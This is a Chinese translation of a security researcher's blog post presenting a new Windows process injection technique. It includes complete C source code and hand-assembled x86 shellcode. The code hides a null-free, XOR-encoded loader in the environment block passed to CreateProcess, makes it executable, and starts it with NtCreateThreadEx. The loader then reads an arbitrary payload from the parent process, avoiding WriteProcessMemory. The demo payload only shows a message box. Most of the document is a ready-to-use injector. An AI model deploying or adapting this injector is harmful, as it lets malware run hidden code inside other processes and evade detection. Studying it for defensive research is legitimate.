原文链接:https://www.x86matthew.com/view_post?id=proc_env_injection
在从个人项目中休息了几个月后,我花了一些时间开发替代流程注入技术。这篇文章将记录我最近发现的一种新方法。此方法允许我们在不使用WriteProcessMemory
的情况下将自定义代码注入远程进程- 我们将使用CreateProcess中的lpEnvironment参数将我们的代码复制到目标进程中。此技术可用于将 DLL 加载到远程进程中,或简单地执行代码块。但是,为了使其可靠地工作,我们需要解决各种问题 – 这些将在下面描述。 lpEnvironment参数在

CreateProcess允许我们为目标进程指定一个自定义环境字符串。环境字符串包含一组环境变量条目,例如PATH=C:\Windows\system32;C:\Windows。列表中的每个环境变量都由一个空终止符分隔,列表中的最后一项是一个空白字符串(两个空终止符)。创建新进程时,环境字符串将被复制到进程的虚拟内存中,然后可以通过 PEB 访问它。
我最初的想法是使用lpEnvironment参数将二进制代码复制到目标进程中执行。这里有几个明显的问题——第一个是PEB中包含字符串数据的内存没有执行权限,第二个问题是lpEnvironment是一个字符串字段,这意味着我们的二进制代码数据不能包含空字符。
第一个问题很容易通过从注入器进程调用VirtualProtectEx来解决。我们可以很容易地通过PEB计算出远程进程中环境字符串的地址,并使内存可执行。
第二个问题更难解决 – 大多数代码块将包含空 (0x00) 字符。通过手动编写汇编操作码来特别避免 0x00 字节来解决这个问题是相当容易的,但这对于大代码块是不切实际的。
这个问题可以通过编写一个通用的固定“外部代码加载器”存根来解决,该存根经过仔细编写以避免任何 0x00 字符。这个小加载器将用于分配和执行真正的有效负载,它现在可以包含任何字节。通用加载器将使用PAGE_EXECUTE_READWRITE保护分配必要的字节数,调用OpenProcess以打开注入器进程,并使用ReadProcessMemory将有效负载从父进程读取到新分配的缓冲区中。然后将执行真正的有效载荷,并在执行完成后释放临时内存。这意味着仍然不需要WriteProcessMemory来传输数据 – 目标进程使用ReadProcessMemory从父进程读取数据。
总之,注入器过程采取以下步骤:
1. 创建一个不包含任何 0x00 字符的通用“代码加载器”块 – 如果需要,值将使用 XOR 进行编码。
2.使用GetEnvironmentStringsW检索现有的环境字符串并将其复制到临时缓冲区。我们的“通用代码加载器”条目将附加到现有条目的末尾。某些程序会使用环境变量,因此覆盖现有条目不是一个好主意。
3. 使用CreateProcess和我们的自定义环境字符串 ( lpEnvironment ) 创建目标 EXE 进程的挂起实例。我们还将使用CREATE_UNICODE_ENVIRONMENT标志来指定宽字符环境值,否则字符串将从 ANSI 转换为宽字符,这将破坏我们的加载程序代码。
4. 使用NtQueryInformationProcess检索目标进程的 PEB 地址。
5. 打电话NtCreateThreadEx在目标进程中调用Sleep(0)并等待线程退出。这将强制必要的 PEB 字段在目标进程中被初始化。
6. 计算目标进程中环境字符串的地址(PEB->RtlUserProcessParameters->Environment)
7. 在环境字符串中定位我们的加载器代码的地址。调用VirtualProtectEx使该数据可执行。
8. 调用NtCreateThreadEx在目标进程内执行加载器代码。此代码将从注入器进程中读取最终的有效载荷并执行它。
9、payload执行完毕后恢复原来的内存保护。
10、调用ResumeThread继续正常执行目标进程。
最终的有效载荷可以是任意大小并包含任意字节。对于此示例,我编写了以下代码来使用LoadLibrary加载user32.dll,然后调用MessageBoxA:
BYTE bPayload[] =
{
// string: <user32.dll>
// push 0x00006C6C
0x68, 0x6C, 0x6C, 0x00, 0x00,
// push 0x642E3233
0x68, 0x33, 0x32, 0x2E, 0x64,
// push 0x72657375
0x68, 0x75, 0x73, 0x65, 0x72,
// mov ecx, esp
0x8B, 0xCC,
// push ecx (ModuleName)
0x51,
// mov eax, LoadLibraryA
0xB8, 0x44, 0x33, 0x22, 0x11,
// call eax
0xFF, 0xD0,
// string: <Code injected successfully!>
// push 0x0021796C
0x68, 0x6C, 0x79, 0x21, 0x00,
// push 0x6C756673
0x68, 0x73, 0x66, 0x75, 0x6C,
// push 0x73656363
0x68, 0x63, 0x63, 0x65, 0x73,
// push 0x75732064
0x68, 0x64, 0x20, 0x73, 0x75,
// push 0x65746365
0x68, 0x65, 0x63, 0x74, 0x65,
// push 0x6A6E6920
0x68, 0x20, 0x69, 0x6E, 0x6A,
// push 0x65646F43
0x68, 0x43, 0x6F, 0x64, 0x65,
// mov ecx, esp
0x8B, 0xCC,
// string: <www.x86matthew.com>
// push 0x00006D6F
0x68, 0x6F, 0x6D, 0x00, 0x00,
// push 0x632E7765
0x68, 0x65, 0x77, 0x2E, 0x63,
// push 0x68747461
0x68, 0x61, 0x74, 0x74, 0x68,
// push 0x6D363878
0x68, 0x78, 0x38, 0x36, 0x6D,
// push 0x2E777777
0x68, 0x77, 0x77, 0x77, 0x2E,
// mov ebx, esp
0x8B, 0xDC,
// push MB_OK
0x6A, 0x00,
// push ebx (Caption)
0x53,
// push ecx (Text)
0x51,
// push hWnd
0x6A, 0x00,
// mov eax, MessageBoxA
0xB8, 0x44, 0x33, 0x22, 0x11,
// call eax
0xFF, 0xD0,
// add esp, 0x3C
0x83, 0xC4, 0x3C,
// ret
0xC3
};
完整代码如下:
#include <stdio.h>
#include <windows.h>
#define LOADER_CODE_OFFSET 8
struct PROCESS_BASIC_INFORMATION
{
DWORD ExitStatus;
BYTE *PebBaseAddress;
DWORD *AffinityMask;
DWORD BasePriority;
DWORD *UniqueProcessId;
DWORD *InheritedFromUniqueProcessId;
};
#define ProcessBasicInformation 0
DWORD (WINAPI *NtQueryInformationProcess)(HANDLE hProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, DWORD ProcessInformationLength, DWORD *ReturnLength);
DWORD (WINAPI *NtCreateThreadEx)(HANDLE *phThreadHandle, DWORD DesiredAccess, PVOID ObjectAttributes, HANDLE hProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, DWORD *pZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID AttributeList);
BYTE bGlobal_LoaderCode[] =
{
// prefix
'A', 0x00, 'A', 0x00, 'A', 0x00, '=', 0x00,
// push edi
0x57,
// push esi
0x56,
// push 0x40 (PAGE_EXECUTE_READWRITE)
0x6A, 0x40,
// mov eax, 0xXXXXXXXX
0xB8, 0x44, 0x33, 0x22, 0x11,
// xor eax, 0xXXXXXXXX
0x35, 0x44, 0x33, 0x22, 0x11,
// push eax (MEM_COMMIT | MEM_RESERVE)
0x50,
// mov eax, 0xXXXXXXXX
0xB8, 0x44, 0x33, 0x22, 0x11,
// xor eax, 0xXXXXXXXX
0x35, 0x44, 0x33, 0x22, 0x11,
// push eax (Size)
0x50,
// xor eax, eax
0x33, 0xC0,
// push eax (BaseAddr)
0x50,
// mov eax, 0xXXXXXXXX
0xB8, 0x44, 0x33, 0x22, 0x11,
// xor eax, 0xXXXXXXXX
0x35, 0x44, 0x33, 0x22, 0x11,
// call eax (VirtualAlloc)
0xFF, 0xD0,
// mov edi, eax (DataAddr)
0x8B, 0xF8,
// mov eax, 0xXXXXXXXX
0xB8, 0x44, 0x33, 0x22, 0x11,
// xor eax, 0xXXXXXXXX
0x35, 0x44, 0x33, 0x22, 0x11,
// push eax (ProcessID)
0x50,
// xor eax, eax
0x33, 0xC0,
// push eax (bInheritHandle)
0x50,
// push 0x10 (PROCESS_VM_READ)
0x6A, 0x10,
// mov eax, 0xXXXXXXXX
0xB8, 0x44, 0x33, 0x22, 0x11,
// xor eax, 0xXXXXXXXX
0x35, 0x44, 0x33, 0x22, 0x11,
// call eax (OpenProcess)
0xFF, 0xD0,
// mov esi, eax (ProcessHandle)
0x8B, 0xF0,
// xor eax, eax
0x33, 0xC0,
// push eax (NumberOfBytesRead)
0x50,
// mov eax, 0xXXXXXXXX
0xB8, 0x44, 0x33, 0x22, 0x11,
// xor eax, 0xXXXXXXXX
0x35, 0x44, 0x33, 0x22, 0x11,
// push eax (BytesToRead)
0x50,
// push edi (ReadBuffer)
0x57,
// mov eax, 0xXXXXXXXX
0xB8, 0x44, 0x33, 0x22, 0x11,
// xor eax, 0xXXXXXXXX
0x35, 0x44, 0x33, 0x22, 0x11,
// push eax (BaseAddr)
0x50,
// push esi (ProcessHandle)
0x56,
// mov eax, 0xXXXXXXXX
0xB8, 0x44, 0x33, 0x22, 0x11,
// xor eax, 0xXXXXXXXX
0x35, 0x44, 0x33, 0x22, 0x11,
// call eax (ReadProcessMemory)
0xFF, 0xD0,
// push esi (ProcessHandle)
0x56,
// mov eax, 0xXXXXXXXX
0xB8, 0x44, 0x33, 0x22, 0x11,
// xor eax, 0xXXXXXXXX
0x35, 0x44, 0x33, 0x22, 0x11,
// call eax (CloseHandle)
0xFF, 0xD0,
// pushad
0x60,
// call edi (DataAddr)
0xFF, 0xD7,
// popad
0x61,
// mov eax, 0xXXXXXXXX
0xB8, 0x44, 0x33, 0x22, 0x11,
// xor eax, 0xXXXXXXXX
0x35, 0x44, 0x33, 0x22, 0x11,
// push eax (MEM_RELEASE)
0x50,
// xor eax, eax
0x33, 0xC0,
// push eax (Size)
0x50,
// push edi (DataAddr)
0x57,
// mov eax, 0xXXXXXXXX
0xB8, 0x44, 0x33, 0x22, 0x11,
// xor eax, 0xXXXXXXXX
0x35, 0x44, 0x33, 0x22, 0x11,
// call eax (VirtualFree)
0xFF, 0xD0,
// pop esi
0x5E,
// pop edi
0x5F,
// return from thread cleanly - can't use "retn 4"
// pop eax
0x58,
// pop ecx
0x59,
// push eax
0x50,
// ret
0xC3,
// (end of string - 2 widechar null characters)
0x00, 0x00, 0x00, 0x00
};
DWORD EncodeDwordValue(DWORD dwValue, DWORD *pdwXorValue, DWORD *pdwEncodedValue)
{
BYTE bOrigValue[4];
BYTE bXorValue[4];
BYTE bEncodedValue[4];
// copy original value
memcpy((void*)bOrigValue, (void*)&dwValue, sizeof(DWORD));
// encode value
for(DWORD i = 0; i < sizeof(DWORD); i++)
{
bXorValue[i] = 0x01;
for(;;)
{
// ensure the value contains no 0x00 bytes
bEncodedValue[i] = bOrigValue[i] ^ bXorValue[i];
if(bEncodedValue[i] == 0 || bXorValue[i] == 0)
{
bXorValue[i]++;
continue;
}
break;
}
}
// store values
*pdwXorValue = *(DWORD*)bXorValue;
*pdwEncodedValue = *(DWORD*)bEncodedValue;
return 0;
}
DWORD StartInjectedProcess(char *pExePath, BYTE *pPayload, DWORD dwPayloadSize)
{
STARTUPINFO StartupInfo;
PROCESS_INFORMATION ProcessInfo;
BYTE bLoaderCode_Copy[sizeof(bGlobal_LoaderCode)];
PROCESS_BASIC_INFORMATION ProcessBasicInfoData;
BYTE *pRemotePtr_RtlUserProcessParameters = NULL;
BYTE *pRemotePtr_EnvironmentStr = NULL;
DWORD dwOriginalProtect = 0;
HANDLE hThread = NULL;
DWORD dwTempProtect = 0;
wchar_t *pOrigEnvBlock = NULL;
DWORD dwOrigEnvBlockTotalLengthBytes = 0;
DWORD dwCurrEnvEntryLength = 0;
wchar_t *pCurrEnvEntry = NULL;
BYTE *pNewEnvBlock = NULL;
// ensure the loader code is 16-bit aligned
if((sizeof(bGlobal_LoaderCode) % 2) != 0)
{
printf("Error: Loader code is out of alignment\n");
// loader code is out of alignment - add an extra 0x00 character to the end of the data
return 1;
}
printf("Generating loader code...\n");
// encode values in the loader code to ensure no 0x00 characters exist
EncodeDwordValue(MEM_COMMIT | MEM_RESERVE, (DWORD*)&bGlobal_LoaderCode[13], (DWORD*)&bGlobal_LoaderCode[18]);
EncodeDwordValue(dwPayloadSize, (DWORD*)&bGlobal_LoaderCode[24], (DWORD*)&bGlobal_LoaderCode[29]);
EncodeDwordValue((DWORD)VirtualAlloc, (DWORD*)&bGlobal_LoaderCode[38], (DWORD*)&bGlobal_LoaderCode[43]);
EncodeDwordValue(GetCurrentProcessId(), (DWORD*)&bGlobal_LoaderCode[52], (DWORD*)&bGlobal_LoaderCode[57]);
EncodeDwordValue((DWORD)OpenProcess, (DWORD*)&bGlobal_LoaderCode[68], (DWORD*)&bGlobal_LoaderCode[73]);
EncodeDwordValue(dwPayloadSize, (DWORD*)&bGlobal_LoaderCode[85], (DWORD*)&bGlobal_LoaderCode[90]);
EncodeDwordValue((DWORD)pPayload, (DWORD*)&bGlobal_LoaderCode[97], (DWORD*)&bGlobal_LoaderCode[102]);
EncodeDwordValue((DWORD)ReadProcessMemory, (DWORD*)&bGlobal_LoaderCode[109], (DWORD*)&bGlobal_LoaderCode[114]);
EncodeDwordValue((DWORD)CloseHandle, (DWORD*)&bGlobal_LoaderCode[122], (DWORD*)&bGlobal_LoaderCode[127]);
EncodeDwordValue(MEM_RELEASE, (DWORD*)&bGlobal_LoaderCode[138], (DWORD*)&bGlobal_LoaderCode[143]);
EncodeDwordValue((DWORD)VirtualFree, (DWORD*)&bGlobal_LoaderCode[153], (DWORD*)&bGlobal_LoaderCode[158]);
printf("Appending code to existing environment string...\n");
// get existing environment block
pOrigEnvBlock = GetEnvironmentStringsW();
if(pOrigEnvBlock == NULL)
{
printf("Error: Failed to read environment strings\n");
return 1;
}
// calculate length of existing environment block
for(;;)
{
// get current environment string entry
pCurrEnvEntry = (wchar_t*)((BYTE*)pOrigEnvBlock + dwOrigEnvBlockTotalLengthBytes);
// calculate length
dwCurrEnvEntryLength = wcslen(pCurrEnvEntry);
if(dwCurrEnvEntryLength == 0)
{
break;
}
// increase total size counter
dwOrigEnvBlockTotalLengthBytes += ((dwCurrEnvEntryLength + 1) * sizeof(wchar_t));
}
// allocate a new environment string buffer
pNewEnvBlock = (BYTE*)VirtualAlloc(NULL, dwOrigEnvBlockTotalLengthBytes + sizeof(bGlobal_LoaderCode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(pNewEnvBlock == NULL)
{
printf("Error: Failed to allocate local memory\n");
// error
FreeEnvironmentStringsW(pOrigEnvBlock);
return 1;
}
// copy the original values and append the loader code
memcpy((void*)pNewEnvBlock, pOrigEnvBlock, dwOrigEnvBlockTotalLengthBytes);
memcpy((void*)(pNewEnvBlock + dwOrigEnvBlockTotalLengthBytes), bGlobal_LoaderCode, sizeof(bGlobal_LoaderCode));
// free temporary environment string buffer
FreeEnvironmentStringsW(pOrigEnvBlock);
printf("Creating target process: '%s'...\n", pExePath);
// launch target process with the injection code in the environment strings
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = sizeof(StartupInfo);
if(CreateProcess(NULL, pExePath, NULL, NULL, 0, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT | CREATE_SUSPENDED, (wchar_t*)pNewEnvBlock, NULL, &StartupInfo, &ProcessInfo) == 0)
{
printf("Error: Failed to launch target process\n");
// error
VirtualFree(pNewEnvBlock, 0, MEM_RELEASE);
return 1;
}
// free environment block buffer
VirtualFree(pNewEnvBlock, 0, MEM_RELEASE);
printf("Locating target code in remote process...\n");
// get process info
memset((void*)&ProcessBasicInfoData, 0, sizeof(ProcessBasicInfoData));
if(NtQueryInformationProcess(ProcessInfo.hProcess, ProcessBasicInformation, &ProcessBasicInfoData, sizeof(ProcessBasicInfoData), NULL) != 0)
{
printf("Error: Failed to retrieve process info\n");
// error
TerminateProcess(ProcessInfo.hProcess, 0);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return 1;
}
// create a thread that calls Sleep(0) to initialise the environment strings in the PEB
if(NtCreateThreadEx(&hThread, 0x001FFFFF, NULL, ProcessInfo.hProcess, Sleep, (LPVOID)0, 0, NULL, 0, 0, NULL) != 0)
{
printf("Error: Failed to create Sleep thread in remote process\n");
// error
TerminateProcess(ProcessInfo.hProcess, 0);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return 1;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
// read RtlUserProcessParameters ptr from PEB
if(ReadProcessMemory(ProcessInfo.hProcess, (void*)(ProcessBasicInfoData.PebBaseAddress + 0x10), (void*)&pRemotePtr_RtlUserProcessParameters, sizeof(BYTE*), NULL) == 0)
{
printf("Error: Failed to read RtlUserProcessParameters value from PEB\n");
// error
TerminateProcess(ProcessInfo.hProcess, 0);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return 1;
}
// read EnvironmentStr ptr from RtlUserProcessParameters
if(ReadProcessMemory(ProcessInfo.hProcess, (void*)(pRemotePtr_RtlUserProcessParameters + 0x48), (void*)&pRemotePtr_EnvironmentStr, sizeof(BYTE*), NULL) == 0)
{
printf("Error: Failed to read EnvironmentStr value from RtlUserProcessParameters\n");
// error
TerminateProcess(ProcessInfo.hProcess, 0);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return 1;
}
// update environment string ptr to ignore the original bytes
pRemotePtr_EnvironmentStr += dwOrigEnvBlockTotalLengthBytes;
// read EnvironmentStr value
memset(bLoaderCode_Copy, 0, sizeof(bLoaderCode_Copy));
if(ReadProcessMemory(ProcessInfo.hProcess, (void*)pRemotePtr_EnvironmentStr, (void*)bLoaderCode_Copy, sizeof(bGlobal_LoaderCode), NULL) == 0)
{
printf("Error: Failed to read loader data from EnvironmentStr\n");
// error
TerminateProcess(ProcessInfo.hProcess, 0);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return 1;
}
// ensure the loader code has been copied correctly
if(memcmp(bLoaderCode_Copy, bGlobal_LoaderCode, sizeof(bGlobal_LoaderCode)) != 0)
{
printf("Error: Invalid loader data\n");
// error
TerminateProcess(ProcessInfo.hProcess, 0);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return 1;
}
printf("Executing code in remote process...\n");
// temporarily make the loader code executable
if(VirtualProtectEx(ProcessInfo.hProcess, pRemotePtr_EnvironmentStr, sizeof(bGlobal_LoaderCode), PAGE_EXECUTE_READWRITE, &dwOriginalProtect) == 0)
{
printf("Error: Failed to update memory protection\n");
// error
TerminateProcess(ProcessInfo.hProcess, 0);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return 1;
}
// execute payload
if(NtCreateThreadEx(&hThread, 0x001FFFFF, NULL, ProcessInfo.hProcess, (BYTE*)(pRemotePtr_EnvironmentStr + LOADER_CODE_OFFSET), (LPVOID)0, 0, NULL, 0, 0, NULL) != 0)
{
printf("Error: Failed to create code loader thread in remote process\n");
// error
TerminateProcess(ProcessInfo.hProcess, 0);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return 1;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
// restore original protection value
if(VirtualProtectEx(ProcessInfo.hProcess, pRemotePtr_EnvironmentStr, sizeof(bGlobal_LoaderCode), dwOriginalProtect, &dwTempProtect) == 0)
{
printf("Error: Failed to update memory protection\n");
// error
TerminateProcess(ProcessInfo.hProcess, 0);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return 1;
}
// resume main thread
ResumeThread(ProcessInfo.hThread);
// close handles
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return 0;
}
int main(int argc, char *argv[])
{
char *pExePath = NULL;
BYTE bPayload[] =
{
// string: <user32.dll>
// push 0x00006C6C
0x68, 0x6C, 0x6C, 0x00, 0x00,
// push 0x642E3233
0x68, 0x33, 0x32, 0x2E, 0x64,
// push 0x72657375
0x68, 0x75, 0x73, 0x65, 0x72,
// mov ecx, esp
0x8B, 0xCC,
// push ecx (ModuleName)
0x51,
// mov eax, LoadLibraryA
0xB8, 0x44, 0x33, 0x22, 0x11,
// call eax
0xFF, 0xD0,
// string: <Code injected successfully!>
// push 0x0021796C
0x68, 0x6C, 0x79, 0x21, 0x00,
// push 0x6C756673
0x68, 0x73, 0x66, 0x75, 0x6C,
// push 0x73656363
0x68, 0x63, 0x63, 0x65, 0x73,
// push 0x75732064
0x68, 0x64, 0x20, 0x73, 0x75,
// push 0x65746365
0x68, 0x65, 0x63, 0x74, 0x65,
// push 0x6A6E6920
0x68, 0x20, 0x69, 0x6E, 0x6A,
// push 0x65646F43
0x68, 0x43, 0x6F, 0x64, 0x65,
// mov ecx, esp
0x8B, 0xCC,
// string: <www.x86matthew.com>
// push 0x00006D6F
0x68, 0x6F, 0x6D, 0x00, 0x00,
// push 0x632E7765
0x68, 0x65, 0x77, 0x2E, 0x63,
// push 0x68747461
0x68, 0x61, 0x74, 0x74, 0x68,
// push 0x6D363878
0x68, 0x78, 0x38, 0x36, 0x6D,
// push 0x2E777777
0x68, 0x77, 0x77, 0x77, 0x2E,
// mov ebx, esp
0x8B, 0xDC,
// push MB_OK
0x6A, 0x00,
// push ebx (Caption)
0x53,
// push ecx (Text)
0x51,
// push hWnd
0x6A, 0x00,
// mov eax, MessageBoxA
0xB8, 0x44, 0x33, 0x22, 0x11,
// call eax
0xFF, 0xD0,
// add esp, 0x3C
0x83, 0xC4, 0x3C,
// ret
0xC3
};
// set function addresses
*(DWORD*)&bPayload[19] = (DWORD)LoadLibraryA;
*(DWORD*)&bPayload[96] = (DWORD)MessageBoxA;
printf("ProcEnvInjection - www.x86matthew.com\n\n");
// check params
if(argc != 2)
{
printf("Usage: %s [exe_path]\n\n", argv[0]);
return 1;
}
// get cmd param
pExePath = argv[1];
// get NtQueryInformationProcess function
NtQueryInformationProcess = (unsigned long (__stdcall *)(void *,unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationProcess");
if(NtQueryInformationProcess == NULL)
{
return 1;
}
// get NtCreateThreadEx function
NtCreateThreadEx = (unsigned long (__stdcall *)(void ** ,unsigned long,void *,void *,void *,void *,unsigned long,unsigned long *,unsigned long,unsigned long,void *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
if(NtCreateThreadEx == NULL)
{
return 1;
}
// start target process
if(StartInjectedProcess(pExePath, bPayload, sizeof(bPayload)) != 0)
{
return 1;
}
printf("Injected successfully\n");
return 0;
}